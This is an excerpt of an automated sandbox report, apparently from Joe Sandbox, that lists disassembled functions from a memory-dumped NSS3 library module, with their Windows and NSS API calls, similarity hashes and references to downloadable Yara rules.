Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 6c654f38ed67276272cdd8d97fbfb9e6096dadef18dcbf0fd8eed30777d8da82
Instruction ID: d6f2a597c9d553ffaf5b5c94199a821197d55d0d84c3c42dcc3965e5119595ee
Opcode Fuzzy Hash: 6c654f38ed67276272cdd8d97fbfb9e6096dadef18dcbf0fd8eed30777d8da82
Instruction Fuzzy Hash: 0EA1F8B17083009BFB089B24DE45B9A3396DB8131CF248939ED19EBB81E775D885C75B

Function 6C5CAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CAF39
PR_Unlock.NSS3(?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CAF69
TlsGetValue.KERNEL32 ref: 6C5CB06B
EnterCriticalSection.KERNEL32(?), ref: 6C5CB083
PR_Unlock.NSS3(?), ref: 6C5CB0A4
TlsGetValue.KERNEL32 ref: 6C5CB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C5CB0D9
PR_Unlock.NSS3 ref: 6C5CB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5CB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5CB182

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C5CB177

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C5AAB95,00000000,?,00000000,00000000,00000000), ref: 6C5CB1C2

Part of subcall function 6C5F1560: TlsGetValue.KERNEL32(00000000,?,6C5C0844,?), ref: 6C5F157A
Part of subcall function 6C5F1560: EnterCriticalSection.KERNEL32(?,?,?,6C5C0844,?), ref: 6C5F158F
Part of subcall function 6C5F1560: PR_Unlock.NSS3(?,?,?,?,6C5C0844,?), ref: 6C5F15B2

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c468493cbf4c7481f4a66a6fac6a5be4bdeb12cba8711cef8eefcd1bc5e0f9c3
Instruction ID: 0d90a1acc3329813af3a925ce6c1ad8d1714fac563e45561a5cbd541c78662b6
Opcode Fuzzy Hash: c468493cbf4c7481f4a66a6fac6a5be4bdeb12cba8711cef8eefcd1bc5e0f9c3
Instruction Fuzzy Hash: 9FA1B5B5E00205EBEF00AFA4DC81AEE7BB4EF45308F144129E915A7751EB31D959CBA2

Function 6C5C2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?\l,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2C93

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23,?), ref: 6C5C2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?,?,6C5C3F23), ref: 6C5C2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?), ref: 6C5C2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C5BE477,?,?,?,00000001,00000000,?), ref: 6C5C2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C5C2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C5C2D71
PR_Unlock.NSS3(?), ref: 6C5C2D7E

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

Strings

#?\l, xrefs: 6C5C2C43

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?\l
API String ID: 2446853827-4009640522
Opcode ID: 11a5b4ba79450219e496b1d8aa4501025bebe2de944f193da9df25a5b27bdbc2
Instruction ID: 144b6a912c2f75ce28858ff3ab4621aa329ecc4c51232cff68209fd9ee8e6cdb
Opcode Fuzzy Hash: 11a5b4ba79450219e496b1d8aa4501025bebe2de944f193da9df25a5b27bdbc2
Instruction Fuzzy Hash: AA51D6B5E00105EBDB009F64DC858AA7778FF66358F048564EC1997B11EB31ED68C7E2

Function 6C61AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61ADB1

Part of subcall function 6C5FBE30: SECOID_FindOID_Util.NSS3(6C5B311B,00000000,?,6C5B311B,?), ref: 6C5FBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C61ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C61AE08

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C61AE25
PL_FreeArenaPool.NSS3 ref: 6C61AE63
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C61AE4D

Part of subcall function 6C524C70: TlsGetValue.KERNEL32(?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524C97
Part of subcall function 6C524C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CB0
Part of subcall function 6C524C70: PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61AE93
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C61AECC
PL_FreeArenaPool.NSS3 ref: 6C61AEDE
PL_FinishArenaPool.NSS3 ref: 6C61AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61AEF5
PL_FinishArenaPool.NSS3 ref: 6C61AF16

Strings

security, xrefs: 6C61ADEE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: dc6af46004636ac5eee6c15a19173df930e6f541074e9195ae559108deed5b60
Instruction ID: 07ac5ccfc53e85a20ce14596c0ab3de625349464152f27f764d6d6d0e58b5297
Opcode Fuzzy Hash: dc6af46004636ac5eee6c15a19173df930e6f541074e9195ae559108deed5b60
Instruction Fuzzy Hash: 0B412CF2948200ABE7115B2C9C45BAB32A4AF4231DF144625E914A2F43FB35D94D8BDF

Function 6C6BAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669890: TlsGetValue.KERNEL32(?,?,?,6C6697EB), ref: 6C66989E

EnterCriticalSection.KERNEL32(?), ref: 6C6BAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C6BAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C6BAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C6BAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C6BB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6BB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6BB070
PR_JoinThread.NSS3(?), ref: 6C6BB07B
free.MOZGLUE(?), ref: 6C6BB084
EnterCriticalSection.KERNEL32(?), ref: 6C6BB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C6BB0C4
PR_JoinThread.NSS3(?), ref: 6C6BB0F3
free.MOZGLUE(?), ref: 6C6BB0FC
PR_JoinThread.NSS3(?), ref: 6C6BB137
free.MOZGLUE(?), ref: 6C6BB140

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 6c031347d21b277e5145bf0f717a2c69806d780ffcdec3d25bd4b0ca5c2f4cb3
Instruction ID: 3f843bfd23c7ef0be951fb7aa2754920650506b15202bc21fabd05036cd939af
Opcode Fuzzy Hash: 6c031347d21b277e5145bf0f717a2c69806d780ffcdec3d25bd4b0ca5c2f4cb3
Instruction Fuzzy Hash: 6A915CB5900601DFCB10DF15D8C085ABBF1FF8A31872985A9D8196BB22E732FC55CB99

Function 6C635CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C632BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C632A28,00000060,00000001), ref: 6C632BF0
Part of subcall function 6C632BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C632A28,00000060,00000001), ref: 6C632C07
Part of subcall function 6C632BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C632A28,00000060,00000001), ref: 6C632C1E
Part of subcall function 6C632BE0: free.MOZGLUE(?,00000000,00000000,?,6C632A28,00000060,00000001), ref: 6C632C4A

free.MOZGLUE(?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635D0F
free.MOZGLUE(?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635D4E
free.MOZGLUE(?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635D62
free.MOZGLUE(?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635D85
free.MOZGLUE(?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635D99
free.MOZGLUE(?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C635E3E
free.MOZGLUE(?,?,?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C635E47
free.MOZGLUE(?,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C63AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C635E78
free.MOZGLUE(?,?,?,?,?,?,?,6C63AAD4), ref: 6C635EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C63AAD4), ref: 6C635EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C635F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C635F4B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: d5e98d1efc5911154a543f1a9d683cc74b677cfc6561df84879fee1a0de06125
Instruction ID: 9a8d5b0f55631c0dfc7bc68e48a7f646b7ed9cd4d73917bc1c97119e0f21b690
Opcode Fuzzy Hash: d5e98d1efc5911154a543f1a9d683cc74b677cfc6561df84879fee1a0de06125
Instruction Fuzzy Hash: 8D719FB4A00B019FD711CF24D884A92B7F5FF89308F149529E86E87B11E732F965CB99

Function 6C5B8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C5B8E22
EnterCriticalSection.KERNEL32(?), ref: 6C5B8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C5B8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5B8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C5B8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5B8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B8F00
free.MOZGLUE(?), ref: 6C5B8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B8F5B
PR_Unlock.NSS3(?), ref: 6C5B8F72
PR_Unlock.NSS3(?), ref: 6C5B8F82

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: dc32a010118c68a66de036dc4ccc4d664e8cf948f0338c23ebbdcdbe7f8f103f
Instruction ID: 81d1e6f3e76b73875280a0c44f209c9efa00b5bc78b7552ba72815ac9f1f2027
Opcode Fuzzy Hash: dc32a010118c68a66de036dc4ccc4d664e8cf948f0338c23ebbdcdbe7f8f103f
Instruction Fuzzy Hash: 8E510872E00212AFD710DF68CC949AABBB9EF45354F144529EC08AB700E731ED4487D6

Function 6C5DCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C5DCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C5DCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C5DCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C5DCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C5DCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C5DCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C5DCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C5DCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C5DCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C5DCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C5DCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C5DCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C5DCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C5DD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C5DD021

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 134805570f4ba24595980edd0e0e11ea3f705490e053bdacbc4a5d7f50b73604
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C03147B1752A5027EF0D905A5D21BEE144A4BE530EF450038FE0AE77C1F685AE1706FA

Function 6C6B0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C6B1000

Part of subcall function 6C669BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C591A48), ref: 6C669BB3
Part of subcall function 6C669BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C591A48), ref: 6C669BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6B1016

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_Unlock.NSS3(?), ref: 6C6B1021

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6B1046
PR_Unlock.NSS3(?), ref: 6C6B106B
PR_Lock.NSS3 ref: 6C6B1079
PR_Unlock.NSS3 ref: 6C6B1096
free.MOZGLUE(?), ref: 6C6B10A7
free.MOZGLUE(?), ref: 6C6B10B4
PR_DestroyCondVar.NSS3(?), ref: 6C6B10BF
PR_DestroyCondVar.NSS3(?), ref: 6C6B10CA
PR_DestroyCondVar.NSS3(?), ref: 6C6B10D5
PR_DestroyCondVar.NSS3(?), ref: 6C6B10E0
PR_DestroyLock.NSS3(?), ref: 6C6B10EB
free.MOZGLUE(?), ref: 6C6B1105

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 4f255b4bee377b4903fd6e4cf0c52f5f694028a853f81b578515065c6cc80cc3
Instruction ID: 1d78c919acc5acb1eaa85584e5cc00b4c25a6fd06f27f007481ac399e00e8759
Opcode Fuzzy Hash: 4f255b4bee377b4903fd6e4cf0c52f5f694028a853f81b578515065c6cc80cc3
Instruction Fuzzy Hash: 6E3145B5A00501BBD701AF15EC41A46BB72FF4231CB188134E80922F61EB72F978DBCA

Function 6C52DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C52DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C52DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C52DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C52DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52DF6D, 6C52DFCC, 6C52DFDD
database corruption, xrefs: 6C52DF77, 6C52DFE7
%s at line %d of [%.10s], xrefs: 6C52DF7C, 6C52DFEC

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9048a3f52895ae391beadfd7c263a81c600c0fbc8e220e27ff79da866e94fe75
Instruction ID: 2ea86b8b1759b3b9f894c645fe8a754082ffa934470198724a3ea73877160288
Opcode Fuzzy Hash: 9048a3f52895ae391beadfd7c263a81c600c0fbc8e220e27ff79da866e94fe75
Instruction Fuzzy Hash: 46A1F4716086019FC710CF29CC80A6AB7F5EF85308F19896DF8899BB81E738E855CB95

Function 6C5EEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C5EEE0B

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5EEEE1

Part of subcall function 6C5E1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C5E1D7E
Part of subcall function 6C5E1D50: EnterCriticalSection.KERNEL32(?), ref: 6C5E1D8E
